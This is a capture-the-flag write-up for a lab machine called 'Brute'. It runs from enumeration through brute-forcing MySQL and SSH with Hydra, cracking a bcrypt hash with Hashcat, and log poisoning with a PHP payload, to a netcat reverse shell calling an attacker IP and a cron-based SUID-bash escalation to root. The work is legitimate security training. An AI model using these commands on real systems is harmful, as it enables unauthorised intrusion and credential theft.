Brute

Brute

Write-up

You as well, Brutus?

First things first, I needed to map the IP to the hostname in my /etc/hosts file so I could access it by name. A quick addition did the trick:

echo "10.201.4.56 brute.thm" >> /etc/hosts

With that set up, my journey started with an Nmap scan to see what I was up against.

nmap -sC -sV -T4 -vv brute.thm

The scan lit up with a few interesting ports: SSH, FTP, a web server, and an open MySQL port.

nmap.jpg

While checking out the web server, I ran a quick gobuster scan to find hidden directories.

gobuster dir -u http://brute.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

This revealed a config.php file, which is always a good find.

gobust.jpg

My first thought was to attack the low-hanging fruit. I tried brute-forcing the web login form and the FTP service, but both came up empty. After hitting a wall, I turned my attention to that open MySQL port. I pointed Hydra at the root user with the classic rockyou.txt wordlist, and this time, I struck gold.

hydra -l root -P /usr/share/wordlists/rockyou.txt -t 50 brute.thm mysql
mysql bruteforce.jpg

With the root password found, I logged into the database to see what I could find.

sql login.jpg

Inside the 'website' database, there was a 'users' table.

show tables.jpg

This table gave me my next big clue: a user named 'Adrian' and a bcrypt hash of his password.

select from users.jpg

I immediately saved this hash to a file and set Hashcat to work on it with the trusty rockyou.txt wordlist.

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Success! Hashcat made quick work of the hash and returned the password.

hashcat cracked.jpg

With Adrian's password in hand, I went back to the web application's login page. Using the cracked credentials, I was able to log in successfully. Once inside, I noticed a section on the web page that displayed system logs. It clearly showed all the recent failed FTP login attempts, including my own earlier brute-force attempts. This made me realize that whatever was entered as a username during an FTP login attempt was being logged and then rendered on the web page. This looked like a perfect opportunity for log poisoning. I decided to try injecting a PHP reverse shell payload as the username.

ftp php .jpg

By checking the system's auth logs again through the web interface, I could see my payload being written successfully.

logpositioning.jpg

Once the payload was in the logs, I set up my listener and triggered the code by visiting the log page, which got me a reverse shell as the www-data user.

busybox nc 10.201.4.90 1337 -e sh
foothold.jpg

As the www-data user, one of the first things I did was check for other users on the system.

found another user.jpg

Then I explored the webroot at /var/www/html and took a closer look at that config.php file I found earlier. It contained database credentials for the user 'adrian'!

found adrian db passwd.jpg

I immediately tried to SSH as 'adrian' with this password, but it failed. It was a dead end for now. So, I kept enumerating and found a very interesting file in Adrian's home directory: .reminder.

Reminder file contents

This was the real hint! It was a clear pointer to use Hashcat's rule-based attacks. The plan was to take the word `ettubrute`, apply the `best64.rule` set, and then append an exclamation mark to every result. I used Hashcat to generate a new password list called `password.txt` based on these rules.

custom rule.jpg

With my new custom wordlist created, it was time to pivot to the user 'adrian'. I launched Hydra against the SSH service using my freshly generated wordlist, and it found Adrian's password almost immediately.

hydra -l adrian -P password.txt -t 50 brute.thm ssh
cracked ssh for adrian.jpg

Now logged in as 'adrian', I found a few more interesting files. First, a script called punch_in.sh that was clearly being run on a schedule.

punch_in.jpg

Then I found the real jackpot in a file named .notes, which referenced a script the admin had asked Adrian to write. This script was being run by root!

hint_prevesc.jpg

The script was executing whatever was on each line of the /home/adrian/punch_in file. This was the final key. I wrote a command to that file to set the SUID bit on bash.

escalation.jpg

After waiting a minute for the cron job to run, I simply executed bash -p and was greeted with a root shell.

root.jpg

And that was it! A really enjoyable machine from start to finish. Thanks for reading along!